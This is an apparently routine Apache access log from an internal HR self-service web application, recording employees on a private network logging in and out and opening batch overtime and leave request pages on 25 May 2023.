192.168.11.134 - - [25/May/2023:13:59:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [25/May/2023:13:59:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:13:59:47 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:47 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:13:59:47 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:47 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:13:59:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [25/May/2023:13:59:48 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:48 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:13:59:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [25/May/2023:14:00:07 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:00:07 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:00:07 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:14:00:07 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:14:00:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:00:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.12.71 - - [25/May/2023:13:59:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:59:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:13:57:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:57:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:14:00:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:00:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.136 - - [25/May/2023:14:00:46 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:00:46 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.12.71 - - [25/May/2023:14:01:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:14:01:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.12.71 - - [25/May/2023:14:01:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:14:01:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [25/May/2023:14:02:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:02:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.136 - - [25/May/2023:14:02:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8269 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:02:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8269
192.168.11.136 - - [25/May/2023:14:03:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12734 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:03:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12734
192.168.11.134 - - [25/May/2023:14:03:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5803506064643194 HTTP/1.1" 200 8988 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:14:03:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5803506064643194 HTTP/1.1" 200 8988
192.168.11.134 - - [25/May/2023:14:03:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5803506064643194 HTTP/1.1" 200 37258 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5803506064643194" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:14:03:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5803506064643194 HTTP/1.1" 200 37258
192.168.11.136 - - [25/May/2023:14:06:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11887 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:14:06:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11887
192.168.11.236 - - [25/May/2023:14:06:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:14:06:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325
192.168.11.134 - - [25/May/2023:14:05:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.134 - - [25/May/2023:14:05:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:14:04:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:14:04:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -